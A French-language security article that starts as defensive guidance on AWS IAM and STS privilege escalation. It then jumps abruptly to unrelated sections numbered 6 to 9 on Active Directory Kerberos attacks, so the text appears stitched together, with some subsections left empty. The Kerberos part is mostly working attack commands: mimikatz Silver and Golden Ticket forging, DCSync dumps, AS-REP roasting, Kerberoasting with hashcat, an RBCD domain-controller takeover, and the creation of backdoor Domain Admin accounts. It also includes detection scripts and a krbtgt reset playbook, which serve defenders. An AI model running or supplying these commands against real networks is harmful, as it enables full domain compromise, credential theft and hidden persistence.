Escalades de privilèges AWS (IAM misconfig, STS chaining, role assumption)

Résumé exécutif

La multiplication des environnements multi-comptes et des architectures serverless sur AWS complexifie drastiquement la maîtrise des privilèges. Les organisations adoptent massivement des modèles de délégation croisée, de fédération et de délégation automatisée via des workflows CI/CD. Chaque maillon de cette chaîne introduit des combinaisons d'identités, de ressources et de politiques qui peuvent être exploitées pour escalader des privilèges. Cet article dissèque les scénarios d'escalade liés aux mauvaises configurations IAM, au chaînage STS et aux assumptions de rôles permissives. Nous y décrivons les garde-fous défensifs indispensables, les patterns CloudTrail à traquer et des playbooks de chasse. L'objectif est de fournir une approche opérationnelle, répétable et outillée pour neutraliser les attaques d'escalade avant qu'elles ne compromettent la gouvernance globale du cloud.

Comprendre les surfaces d'escalade de privilèges

Les surfaces d'escalade sont nombreuses dans un compte AWS d'entreprise : politiques inline laissées par les développeurs, rôles de bastion oubliés, clés API historiques, rôles de fédération ouverts ou encore stratégies d'approbation trop permissives. L'escalade peut intervenir sur des chemins inattendus : un simple rôle de lecture S3 doté d'une politique PassRole mal filtrée peut devenir un tremplin vers l'administration complète d'un compte. Dans les organisations disposant d'une Organization partagée, la possibilité d'assumer des rôles OrganizationAccountAccessRole depuis la racine crée une deuxième surface, souvent moins régulée. Enfin, les services managés tels que Glue, SageMaker ou CodeBuild génèrent souvent des rôles de service peu monitorés, permettant des escalades latérales originales. L'analyse doit donc cartographier toutes les identités machines, humaines et fédérées, ainsi que leurs chaînes d'approbation.

Cartographie initiale et hiérarchisation des risques

Un programme de réduction de risque commence par une cartographie exhaustive : inventaire des comptes, listing complet des rôles et des politiques, graphe des relations d'approbation et identification des identités externes (fournisseurs, partenaires, pipelines). Les outils comme AWS IAM Access Analyzer, Prowler ou Cartography aident à construire un graphe de confiance. On priorise ensuite les chemins d'escalade sur la base de la criticité métier des comptes, de la sensibilité des données et de la facilité d'exploitation. Les parcours comportant sts:AssumeRole sans condition ainsi que les politiques iam:PassRole et iam:CreatePolicyVersion sont classés critiques. Les risques sont enfin validés par des tests de simulation (Policy Simulator, Access Advisor) et des ateliers Purple Team, afin de confirmer la plausibilité des chaînes d'attaque identifiées.

IAM : erreurs de configuration classiques et patterns d'attaque

Les erreurs récurrentes incluent l'utilisation de politiques gérées AWS génériques (AdministratorAccess, PowerUserAccess) sur des comptes de service, l'oubli de conditions Context Keys (aws:PrincipalArn, aws:SourceIp), l'usage de wildcards pour des actions sensibles, ou encore des politiques trust sts:AssumeRole ouvertes à des comptes externes sans ExternalId. Les attaquants combinent souvent iam:UpdateAssumeRolePolicy avec sts:AssumeRole pour modifier un trust et s'injecter eux-mêmes. Les environnements moins matures laissent parfois des entités pouvoir iam:CreateLoginProfile ou iam:CreateAccessKey sur des comptes IAM humains, simplifiant l'escalade. D'autres abus reposent sur la capacité à iam:PassRole vers des services comme Lambda ou ECS pour exécuter du code sous un rôle plus puissant.

• Checklist durcissement IAM : vérifier l'absence de sur Resource pour les actions sensibles, imposer MFA sur les comptes humains, désactiver et supprimer les clés inactives > 90 jours.
• Checklist STS : session ≤ 1h pour les rôles sensibles, monitorer AssumeRole avec AWSConsoleSession, bloquer les IDs de comptes externes non approuvés.
• Checklist guardrails : SCP limitatives sur iam:*, CloudTrail multi-région, S3 bucket de logs chiffré avec KMS géré par la sécurité.
• Checklist chasse : requêtes Athena pré-définies, dashboards Splunk pour AssumeRole, alertes GuardDuty STS Anomalous Behavior activées.

Conclusion et perspectives

Une stratégie robuste contre les escalades de privilèges AWS repose sur la combinaison d'une gouvernance rigoureuse, de guardrails dynamiques et d'une chasse active. Les scénarios IAM misconfig, STS chaining et role assumption sont souvent perçus comme complexes, mais une démarche structurée permet de les neutraliser. La clé réside dans la visibilité, la normalisation des données, l'automatisation des contrôles et la collaboration continue entre développeurs, SecOps et gouvernance. En investissant dans la prévention autant que dans la détection, les organisations réduisent significativement le risque d'incident cloud majeur et posent les bases d'une posture Zero Trust pérenne.

Étude de cas : compromission d'un compte CI/CD

En 2023, une entreprise SaaS a détecté une activité suspecte sur un pipeline GitLab auto-hébergé. L'enquête a révélé qu'un runner présente sur un hôte Linux partagé avait été compromis via une dépendance NPM malveillante. L'attaquant s'est servi des métadonnées d'environnement pour récupérer un token OIDC permettant d'assumer le rôle GitlabDeployRole. Ce rôle était censé ne pouvoir déployer que sur un cluster EKS de staging, mais il détenait iam:PassRole sans condition. En invoquant la CLI AWS depuis le runner, l'attaquant a pu assumer un rôle d'administration ProdClusterAdmin. S'en sont suivies des modifications sur des politiques IAM et la création d'un user ShadowOps. L'équipe sécurité, en exploitant CloudTrail, a observé un enchaînement AssumeRole inhabituel avec un sessionName généré automatiquement par GitLab. La remédiation a consisté à révoquer les sessions STS, supprimer le user résiduel, adopter des conditions StringEquals sur aws:SourceIdentity et isoler les runners de production. L'incident a fait émerger la nécessité d'examiner tous les rôles liés aux pipelines CI/CD et de segmenter les environnements de build.

Étude de cas : exploitation d'un trust SAML faiblement restreint

Une autre organisation, opérant dans la finance, a rencontré une escalade lorsque des crédences AD ont été compromises par phishing. L'attaquant a pu se connecter au portail SSO, qui mappait l'attribut memberOf vers plusieurs rôles AWS. L'équipe IAM avait prévu de filtrer ces rôles via un attribut spécifique, mais la politique AssumeRoleWithSAML autorisait toute assertion memberOf contenant un préfixe. L'attaquant a pu modifier ses attributs via un outil interne et assumer un rôle de gestion FinancePowerRole. Sans MFA fédéré, l'accès est resté ouvert plus de deux heures. Le SOC a finalement détecté l'anomalie via un CloudTrail Insight soulignant un volume inhabituel d'appels DescribeInstances. Cette étude souligne l'importance d'un alignement étroit entre les équipes IAM et IdP, ainsi que la surveillance des attributs SAML.

Observabilité renforcée : intégrer les signaux AWS Control Tower

Les entreprises utilisant AWS Control Tower peuvent tirer parti des AWS Config Aggregators et des contrôles pré-définis AWS Control Tower Guardrails. Ces éléments fournissent un socle d'audit pour vérifier le respect des bonnes pratiques IAM. En combinant Control Tower avec AWS Security Hub, les findings relatifs aux permissions excessives peuvent être centralisés. On définit des automatisations pour créer des tickets lorsqu'un rôle obtient iam:PutRolePolicy. Les événements CloudTrail sont corrélés avec Config pour savoir si la modification a été effectuée via IaC ou en console. Lorsqu'un écart apparaît, la gouvernance peut exiger un rollback immédiat. La centralisation multi-compte facilite la priorisation, en se focalisant sur les comptes production ou contenant des données réglementées (PCI, GDPR, HIPAA).

Scénarios d'attaque spécifiques et matrices de menaces

Une matrice ATT&CK personnalisée pour AWS IAM permet de dresser la liste des techniques et tactiques. Parmi les scénarios clés :

• T1078 Valid Accounts : réutilisation de clés IAM, exploitation de CreateAccessKey.
• T1098 Account Manipulation : modification des politiques trust pour autoriser un principal malveillant.
• T1550 Use Alternate Authentication Material : usage de jetons STS détournés.
• T1484 Domain Policy Modification : adaptation pour AWS via la création de SCP trop permissives.

Chaque scénario est associé à des indicateurs : création d'une deuxième version de policy, invocation de SimulatePrincipalPolicy, ou encore usage prolongé de sessions de plus de 12 heures. Les équipes threat intel enrichissent cette matrice avec les TTP observées dans la nature, notamment celles popularisées par les groupes FIN ou des opérations d'espionnage. On maintient une table de correspondance entre ces TTP et les contrôles défensifs (SCP, conditions IAM, détections CloudTrail) afin de couvrir l'intégralité de la kill chain.

Intégration des logs dans un pipeline analytique avancé

Pour détecter des chaînages STS complexes, un pipeline analytique peut exploiter AWS Glue pour transformer les logs CloudTrail. Les événements sont convertis en un graphe orienté, où chaque nœud représente une session, et chaque arête un AssumeRole. Les algorithmes de centralité servent à repérer des rôles jouant un rôle de pivot. Une augmentation du score de centralité d'un rôle non critique peut indiquer un usage abusif. Des jobs Glue complétés par des notebooks SageMaker permettent de tester de nouvelles heuristiques. Les résultats alimentent un tableau de bord QuickSight montrant les top role paths, la durée moyenne des sessions et la distribution géographique des appels STS. Ces visualisations facilitent les revues avec les parties prenantes non techniques.

Collaboration SecOps / DevSecOps / Cloud Center of Excellence

La collaboration inter-équipes est cruciale pour maintenir les guardrails. Les SecOps fournissent les détections, DevSecOps développe les pipelines IaC, tandis que le Cloud Center of Excellence (CCoE) établit les standards. Des Guild Meetings mensuels passent en revue les incidents, les conditions IAM complexes et les exceptions nécessaires. On documente des patterns réutilisables (rôles cross-account, politiques Step Functions) dans un catalogue accessible. Des sessions de pair programming entre DevSecOps et les équipes de produit permettent d'intégrer les contrôles à la source. Les retours du terrain alimentent en continu les politiques internes, assurant l'acceptation et la conformité.

Audit continu via AWS Config et Cloud Custodian

AWS Config fournit des règles gérées (iam-user-no-policy-check, iam-policy-no-statements-with-admin-access). On déploie des règles custom pour vérifier que chaque rôle critique contient une condition aws:MultiFactorAuthPresent. Cloud Custodian complète ce dispositif en appliquant des actions automatiques : par exemple, détacher une policy incriminée ou notifier un canal Slack dédié lorsque AssumeRole est appelé depuis un principal externe sans ExternalId. L'approche se veut proactive, en clôturant les failles avant qu'elles ne soient exploitables. La gouvernance audite les rapports Config et Custodian lors de comités mensuels.

Rôle des services managés : GuardDuty, Detective, Access Analyzer

GuardDuty détecte des comportements anormaux comme l'accès depuis des Tor exit nodes ou des appels STS inhabituels. Ses findings PrivilegeEscalation:IAMUser/AdministrativePermissions et IAMUser/UnauthorizedAccess sont un premier filet de sécurité. AWS Detective facilite l'investigation des escalades complexes grâce à sa visualisation des relations identité-ressource. IAM Access Analyzer, en mode Preview, alerte lorsqu'une ressource est accessible à un externe. Toutefois, ces services doivent être complétés par des détections sur mesure pour les environnements multi-comptes avancés. Les organisations combinent GuardDuty avec des signaux provenant de solutions tierces (Wiz, Lacework) pour augmenter la couverture et réduire les faux positifs.

Gérer les environnements hybrides et multi-clouds

La plupart des entreprises opèrent plusieurs cloud providers. Une escalade réussie sur AWS peut s'étendre vers Azure ou GCP via des secrets partagés ou des pipelines unifiés. Il est donc pertinent de centraliser la gouvernance des identités dans une plateforme (Okta, Azure AD) capable d'appliquer des politiques transverses. Les connecteurs multi-cloud doivent être contrôlés, avec des rôles distincts pour chaque plateforme et des contrôles d'audit conjoints. Les logs AWS sont corrélés avec ceux d'autres clouds pour identifier des mouvements latéraux inter-plateformes. Les programmes de sécurité adoptent une approche Zero Trust, où chaque session STS est considérée comme potentiellement malveillante tant qu'elle n'a pas été validée.

Approfondir la chasse : détection basée sur l'apprentissage automatique

Au-delà des règles, certaines organisations utilisent des modèles ML. Un modèle de classification peut apprendre la signature des séquences STS légitimes pour chaque équipe. Les features incluent la durée de la session, le service cible, les tags, l'adresse IP source, l'heure de la journée. Lorsqu'une nouvelle session diffère fortement, une alerte est générée. Des techniques d'auto-encodeur sont également explorées pour détecter des anomalies dans les vecteurs d'activité IAM. Les équipes Data Science collaborent avec SecOps pour intégrer ces scores d'anomalie dans le SIEM et pour définir des workflows de validation. L'enjeu est de réduire le bruit tout en détectant des attaques inédites.

Mettre en place des tests unitaires IAM (policy-as-code)

Les politiques IAM sont souvent écrites à la main, ce qui entraîne des erreurs. En adoptant policy-as-code, on écrit des tests unitaires validant que les actions autorisées et interdites correspondent à l'intention. Des frameworks comme terraform-compliance, OPA (Open Policy Agent) et AWS IAM Guard permettent d'écrire des assertions. Par exemple, un test s'assure que le rôle ProdDeployRole ne peut assumer que des rôles commençant par prod-. Avant chaque déploiement, les tests sont exécutés dans la pipeline CI. Les rapports sont versionnés, créant un historique d'évolution des privilèges. Cette approche réduit les erreurs humaines et garantit la robustesse des guardrails.

Renforcer la transparence via des tableaux de bord exécutifs

Les décideurs souhaitent un aperçu synthétique des risques. Des tableaux de bord agrègent : nombre de rôles avec AdministratorAccess, sessions STS par source (console, CLI, API), taux de conformité aux RSO, temps moyen de remédiation. On y ajoute un indicateur de dette IAM : ratio entre politiques conformes et politiques nécessitant une revue. Ces métriques sont discutées lors des comités risques et permettent d'obtenir du sponsoring pour des projets de remédiation. Une notation visuelle (vert, orange, rouge) aide à prioriser les comptes à traiter rapidement.

Gestion des exceptions et justification

Certaines équipes réclament des privilèges élargis pour des besoins temporels. Un processus formalisé gère ces exceptions : justification écrite, approbation multi-niveaux, durée maximale, plan de retrait. Chaque exception est taguée dans la policy (ExceptionId) et suivie dans un registre. Un rappel automatique notifie les équipes AVANT l'expiration pour vérifier si l'exception doit être prolongée. Les audits examinent la pertinence des exceptions et vérifient qu'elles ne sont pas devenues permanentes par inadvertance.

Simulations continues via Chaos Engineering identitaire

Inspirées du Chaos Engineering, les équipes créent des expériences contrôlées : injection d'un rôle fictif sur-permissif, suppression de conditions ExternalId, arrêt d'un guardrail. L'objectif est de vérifier que les détections fonctionnent, que la remédiation automatique s'enclenche et que les équipes savent réagir. Ces expériences sont documentées et répétées périodiquement. Elles améliorent la résilience organisationnelle et permettent d'identifier des failles latentes, comme des dépendances à des scripts manuels ou des fuites de secrets.

Bibliographie et ressources recommandées

Parmi les lectures clés :

• AWS Security Best Practices (livre blanc officiel).
• Blogs de chercheurs (Rhino Security Labs sur Pacu, Spencer Gietzen sur IAM).
• Recherches de Summit Route sur aws-vault et la sécurité des sessions.
• Talks re:Invent sur GuardDuty, IAM Access Analyzer et Zero Trust sur AWS.

Les communautés comme Cloud Security Forum, Reddit r/aws et les groupes OWASP Cloud Security fournissent des retours d'expérience. Participer à des CTF (Capture The Flag) orientés cloud aide à comprendre les points de vue attaquants et à renforcer les défenses.

Perspectives : intégration avec Zero Trust et Confidential Computing

À moyen terme, l'adoption du Zero Trust dans le cloud impose une authentification adaptative sur tous les rôles. Les solutions combinant IAM avec la télémétrie endpoint (ex : détecter qu'un hôte est compromis avant d'accorder un AssumeRole) deviennent incontournables. Le Confidential Computing (Nitro Enclaves) peut isoler les processus manipulant des secrets, réduisant le risque d'escalade via extraction mémoire. L'intégration d'AWS Verified Access et des contrôles contextuels (signal device posture) renforce les Guardrails. Les entreprises visionnaires orchestrent un contrôle du plan de données et du plan de contrôle, assurant que chaque privilège est justifié, temporaire et traçable.

Checklist finale pour l'escalade de privilèges AWS

1. Maintenir un inventaire vivant des rôles et politiques. 2. Appliquer des conditions aws:SourceIdentity et aws:PrincipalTag sur toutes les assumptions critiques. 3. Auditer et réduire PassRole, CreatePolicyVersion, PutRolePolicy. 4. Activer CloudTrail complet, GuardDuty, Detective, Access Analyzer. 5. Mettre en place des SCP et des guardrails Control Tower pertinents. 6. Instrumenter des détections CloudTrail sur les séquences d'escalade. 7. Automatiser la remédiation via Config, Custodian, Lambda. 8. Former les équipes et simuler régulièrement des scénarios Purple Team. 9. Intégrer les pipelines CI/CD dans la gouvernance IAM. 10. Exploiter des approches ML et policy-as-code pour la maturité avancée.

En suivant cette checklist et les recommandations détaillées, les organisations peuvent réduire drastiquement l'impact potentiel des escalades de privilèges et renforcer la confiance dans leur infrastructure AWS.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled